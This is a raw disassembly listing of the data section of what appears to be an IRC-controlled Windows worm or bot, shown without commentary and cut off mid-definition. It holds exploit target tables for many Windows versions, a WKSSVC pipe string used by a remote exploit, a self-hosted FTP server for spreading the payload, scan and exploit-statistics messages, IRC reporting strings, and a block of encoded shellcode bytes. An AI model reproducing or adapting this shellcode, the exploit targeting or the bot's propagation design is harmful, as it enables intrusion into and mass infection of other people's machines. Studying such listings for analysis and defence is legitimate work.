aWindowsUkXpPro db 'Windows uk xp pro sp1 1',0 ; DATA XREF: .data:00423E90o aWindows2000Sp4 db 'Windows 2000 SP4 GER FAT32',0 align 4 aWindowsNlSp123 db 'Windows nl sp1 23',0 align 4 aWindowsNlSp122 db 'Windows nl sp1 22',0 align 10h aWindowsNlSp121 db 'Windows nl sp1 21',0 align 4 aWindowsNlSp120 db 'Windows nl sp1 20',0 align 4 aWindowsNlSp119 db 'Windows nl sp1 19',0 align 4 aWindowsNlSp118 db 'Windows nl sp1 18',0 align 10h aWindowsNlSp117 db 'Windows nl sp1 17',0 align 4 aWindowsNlSp116 db 'Windows nl sp1 16',0 align 4 aWindowsNlSp115 db 'Windows nl sp1 15',0 align 4 aWindowsNlSp114 db 'Windows nl sp1 14',0 align 10h aWindowsNlSp113 db 'Windows nl sp1 13',0 align 4 aWindowsNlSp112 db 'Windows nl sp1 12',0 align 4 aWindowsNlSp111 db 'Windows nl sp1 11',0 align 4 aWindowsNlSp110 db 'Windows nl sp1 10',0 align 10h aWindowsNlSp19 db 'Windows nl sp1 9',0 align 4 aWindowsNlSp18 db 'Windows nl sp1 8',0 align 4 aWindowsNlSp17 db 'Windows nl sp1 7',0 align 4 aWindowsNlSp16 db 'Windows nl sp1 6',0 align 10h aWindowsNlSp15 db 'Windows nl sp1 5',0 align 4 aWindowsNlSp14 db 'Windows nl sp1 4',0 align 4 aWindowsNlSp13 db 'Windows nl sp1 3',0 align 4 aWindowsNlSp12 db 'Windows nl sp1 2',0 align 10h aWindowsNlSp11 db 'Windows nl sp1 1',0 align 4 aWindowsXpSp01E db 'Windows XP SP0+1 ENG',0 ; DATA XREF: .data:00423D00o align 4 aWindowsXpSp01G db 'Windows XP SP0+1 GER+NL+IT+FR',0 align 4 dword_424E2C dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_424E40 dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0 ; DATA XREF: sub_403C2B+243o aSPipeWkssvc db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_403C2B+1E4o align 4 aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_403C2B+19Ao align 4 a_: ; DATA XREF: sub_403C2B+184o ; sub_40517E+24Do unicode 0, <.>,0 aS db '\\%s',0 ; DATA XREF: sub_403C2B+153o align 10h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4041D7+5CDo aQuit db 'QUIT',0 ; DATA XREF: sub_4041D7+5B9o ; sub_40CC09+534o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_4041D7+5ACo align 4 unk_424EC8 db 2 ; DATA XREF: sub_4041D7+561o db 52h, 2 dup(4Fh) db 54h ; T db 45h, 44h, 2 aSPortDNowExecu db ' %s, port:%d now executing %s on remote machine.',0 align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4041D7+542o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_4041D7+516o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_4041D7+4FEo align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4041D7+4E9o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4041D7+4D8o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4041D7+4A5o align 4 aS_0 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4041D7+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_4041D7+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4041D7+3FDo align 10h aList db 'LIST',0 ; DATA XREF: sub_4041D7+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_4041D7+3AFo align 4 aPasv db 'PASV',0 ; DATA XREF: sub_4041D7+39Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4041D7+38Co aI: ; DATA XREF: sub_4041D7+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4041D7+351o aA: ; DATA XREF: sub_4041D7+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_4041D7+326o ; sub_4041D7+361o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4041D7+316o align 4 off_425064 dd offset dword_445750 ; DATA XREF: sub_4041D7+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4041D7+2F2o align 4 aRest db 'REST',0 ; DATA XREF: sub_4041D7+2DEo align 4 a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4041D7+2CEo align 4 aSyst db 'SYST',0 ; DATA XREF: sub_4041D7+2BAo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4041D7+2AAo align 4 aPass db 'PASS',0 ; DATA XREF: sub_4041D7+296o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4041D7+286o align 4 aUser db 'USER',0 ; DATA XREF: sub_4041D7+271o ; .data:0042A504o ... align 4 aSS db '%s %s',0 ; DATA XREF: sub_4041D7+260o align 4 a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4041D7+1D8o align 4 aRb db 'rb',0 ; DATA XREF: sub_404857+24o ; sub_405A21+12Eo ... align 10h unk_425100 db 2 ; DATA XREF: sub_4048F1+3F8o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 68h, 74h db 74h ; t db 70h, 64h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aErrorServerFai db ' Error: server failed, returned: <%d>.',0 align 4 asc_425144 db 0Dh,0Ah,0 ; DATA XREF: sub_4048F1+2CFo align 4 asc_425148: ; DATA XREF: sub_4048F1+293o ; sub_40CC09+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_4048F1+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404D4C+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404D4C+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_404D4C+97o ; sub_4093C1+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_404D4C+83o align 10h aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_404D4C:loc_404DB1o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_404D4C+5Eo align 4 unk_425368 db 2 ; DATA XREF: sub_404ECE+28Fo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 68h, 74h db 74h ; t db 70h, 64h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStartW db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_4253B4 db 2 ; DATA XREF: sub_404ECE+20Bo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 68h, 74h db 74h ; t db 70h, 64h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aWorkerThreadOf db ' Worker thread of server thread: %d.',0 align 4 asc_4253F8: ; DATA XREF: sub_404ECE+157o ; .data:0042C19Co unicode 0, <*>,0 asc_4253FC: ; DATA XREF: sub_404ECE+FBo ; sub_40517E+29o ... dw 0Ah unicode 0, <>,0 aSS_0 db '%s%s',0 ; DATA XREF: sub_404ECE+EAo ; sub_40517E+4D9o ... align 4 aS_2 db '%s',0 ; DATA XREF: sub_404ECE+3Ao ; sub_408F0D+4Co ... align 4 off_42540C dd offset dword_73255C ; DATA XREF: sub_404ECE+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40517E+663o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40517E+648o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40517E+62Do align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40517E+59Eo align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40517E+573o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40517E:loc_4056A5o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40517E+520o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40517E+480o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40517E+440o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40517E+40Ao db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40517E:loc_405546o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40517E+3C1o align 4 aSS_1 db '%s%s/',0 ; DATA XREF: sub_40517E+37Ao align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40517E+336o ; sub_40517E+495o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40517E+314o align 4 aS_1 db '<%s>',0 ; DATA XREF: sub_40517E+2E7o ; sub_40517E+41Co align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40517E+2BDo aAm db 'AM',0 ; DATA XREF: sub_40517E+290o align 4 aPm db 'PM',0 ; DATA XREF: sub_40517E+285o align 4 a__ db '..',0 ; DATA XREF: sub_40517E+232o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40517E+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40517E+147o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40517E+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40517E+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40517E+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40517E+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40517E+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_405900+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_4258B0 dd 4000500h, 7868746Bh, 0dword_4258BC dd 5B027302h, 5D1F491Fh, 66742820h, 702E7074h, 671F6C1Fh ; DATA XREF: sub_405A21+47Fo dd 0BB022029h, 202002BBh, 6E617274h, 72656673h, 206F7420h dd 20732520h, 731F0220h, 65636375h, 75667373h, 20796C6Ch dd 706D6F63h, 6574656Ch, 2C021F64h, 666E6920h, 28203A6Fh dd 2E297325h, 0 unk_425914 db 2 ; DATA XREF: sub_405A21+3B6o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 74h, 66h db 74h ; t db 70h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFileNotFoundSS db 'File not found: %s (%s).',0 align 4 dword_42594C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_405A21+399o dword_425960 dd 5B027302h, 5D1F491Fh, 66742820h, 702E7074h, 671F6C1Fh ; DATA XREF: sub_405A21+33Eo dd 0BB022029h, 202002BBh, 6E617274h, 72656673h, 206F7420h dd 20732520h, 621F0220h, 6E696765h, 676E696Eh, 202C021Fh dd 6F666E69h, 2528203Ah, 2E2973h unk_4259A8 db 2 ; DATA XREF: sub_405A21+15Ao db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 74h, 66h db 74h ; t db 70h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToOpenFi db 'Failed to open file: %s.',0 align 10h unk_4259E0 db 2 ; DATA XREF: sub_405A21+6Ao db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 74h, 66h db 74h ; t db 70h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSocketF_2 db 'Error: socket() failed, returned: <%d>.',0 aOctet db 'octet',0 ; DATA XREF: sub_405A21+Fo align 10h aW1 db 'w1',0 ; DATA XREF: sub_40656E+164o align 4 dd 0 db 2 dup(0) aWkssvc_eng db 'WKSSVC_Eng',0 ; DATA XREF: sub_402F48+1C8o ; .text:0040395Co align 4 dd 4 dup(0) dword_425A58 dd 1BDh ; sub_40CC09+2C4Cr ... off_425A5C dd offset sub_404143 ; DATA XREF: sub_40656E+1E6r dword_425A60 dd 0 ; sub_402F48+202r ... dword_425A64 dd 1 dword_425A68 dd 0 dd 3277h, 0 dd 4B570000h, 43565353h, 68744F5Fh, 7265h, 4 dup(0) dd 1BDh, 40418Dh, 0 dd 1, 0 dd 77h, 0 dd 4B570000h, 53414D53h, 53h, 5 dup(0) dd 1BDh, 403AC4h, 0 dd 1, 0 dd 3161h, 0 dd 73610000h, 6D73316Eh, 62h, 5 dup(0) dd 1BDh, 402F48h, 0 dd 2 dup(1), 7361736Dh, 73h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 402F48h, 0 dd 2 dup(1), 61h, 0 dd 53410000h, 4Eh, 6 dup(0) dd 1BDh, 40247Ch, 0 dd 2 dup(1), 316E7361h, 6E626D73h, 736D0074h, 30343630h dd 6 dup(0) dd 1BDh, 403548h, 0 dd 2 dup(1), 0Fh dup(0) dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh dd 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_405F18+81o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_405F18+42o align 10h unk_425DB0 db 2 ; DATA XREF: sub_405F18+11o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 6Fh db 72h ; r db 74h, 73h, 63h db 61h ; a db 6Eh, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aExploitStatist db 'Exploit Statistics:',0 unk_425DE4 db 2 ; DATA XREF: sub_405FE2+42o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 6Fh db 72h ; r db 74h, 73h, 63h db 61h ; a db 6Eh, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aScanNotActive_ db 'Scan not active.',0 align 4 unk_425E18 db 2 ; DATA XREF: sub_405FE2+2Co db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 6Fh db 72h ; r db 74h, 73h, 63h db 61h ; a db 6Eh, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCurrentIpS_ db 'Current IP: %s.',0 unk_425E48 db 2 ; DATA XREF: sub_406059+36Fo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 68h, 74h db 74h ; t db 70h, 64h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStartS db ' Failed to start server, error: <%d>.',0 align 4 unk_425E8C db 2 ; DATA XREF: sub_406059+307o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 68h, 74h db 74h ; t db 70h, 64h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aServerListenin db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_425ED8 db 2 ; DATA XREF: sub_406059+267o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 unk_425F18 db 2 ; DATA XREF: sub_406059+1FAo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_425F68 db 2 ; DATA XREF: sub_406059+149o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 74h, 66h db 74h ; t db 70h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_1 db 'Failed to start server, error: <%d>.',0 align 4 unk_425FAC db 2 ; DATA XREF: sub_406059+DBo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 74h, 66h db 74h ; t db 70h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aServerStarte_0 db 'Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_406435+38o ; sub_408A5D+46o unk_426008 db 2 ; DATA XREF: sub_40656E+EBo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 6Fh db 72h ; r db 74h, 73h, 63h db 61h ; a db 6Eh, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_426044 db 2 ; DATA XREF: sub_40656E+93o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 6Fh db 72h ; r db 74h, 73h, 63h db 61h ; a db 6Eh, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_426090 db 2 ; DATA XREF: sub_406782+1CEo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 6Fh db 72h ; r db 74h, 73h, 63h db 61h ; a db 6Eh, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_4260E4 db 2 ; DATA XREF: sub_406782+173o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 6Fh db 72h ; r db 74h, 73h, 63h db 61h ; a db 6Eh, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_2 db 'Failed to start worker thread, error: <%d>.',0 unk_426130 db 2 ; DATA XREF: sub_406782+103o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 6Fh db 72h ; r db 74h, 73h, 63h db 61h ; a db 6Eh, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_426178 db 2 ; DATA XREF: sub_406782+87o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 6Fh db 72h ; r db 74h, 73h, 63h db 61h ; a db 6Eh, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToInitia db 'Failed to initialize critical section.',0 align 10h unk_4261C0 db 2 ; DATA XREF: sub_4069E1+156o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 72h, 65h db 64h ; d db 69h, 72h, 65h db 63h ; c db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 align 10h unk_426210 db 2 ; DATA XREF: sub_4069E1+E1o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 72h, 65h db 64h ; d db 69h, 72h, 65h db 63h ; c db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_426268 db 2 ; DATA XREF: sub_406B69+1AAo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 72h, 65h db 64h ; d db 69h, 72h, 65h db 63h ; c db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 align 4 unk_4262BC db 2 ; DATA XREF: sub_406B69+E1o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 72h, 65h db 64h ; d db 69h, 72h, 65h db 63h ; c db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 unk_426310 db 2 ; DATA XREF: sub_406DED+1B2o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 6Fh db 63h ; c db 6Bh, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStar_4 db ' Failed to start server on Port %d.',0 unk_426350 db 2 ; DATA XREF: sub_406DED+18Fo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 6Fh db 63h ; c db 6Bh, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStar_5 db ' Failed to start client thread, error: <%d>.',0 align 4 unk_42639C db 2 ; DATA XREF: sub_406DED+114o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 6Fh db 63h ; c db 6Bh, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aClientConnec_1 db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 10h unk_4263F0 db 2 ; DATA XREF: sub_406DED+A8o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 6Fh db 63h ; c db 6Bh, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aServerStarte_1 db ' Server started on: %s:%d.',0 align 4 unk_426428 db 2 ; DATA XREF: sub_406FF2+1F9o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 6Fh db 63h ; c db 6Bh, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aErrorFailedToC db ' Error: Failed to connect to target, returned: <%d>.',0 align 4 unk_42647C db 2 ; DATA XREF: sub_406FF2+18Ao db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 6Fh db 63h ; c db 6Bh, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aErrorFailedToO db ' Error: Failed to open socket(), returned: <%d>.',0 align 4 unk_4264CC db 2 ; DATA XREF: sub_406FF2+F2o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 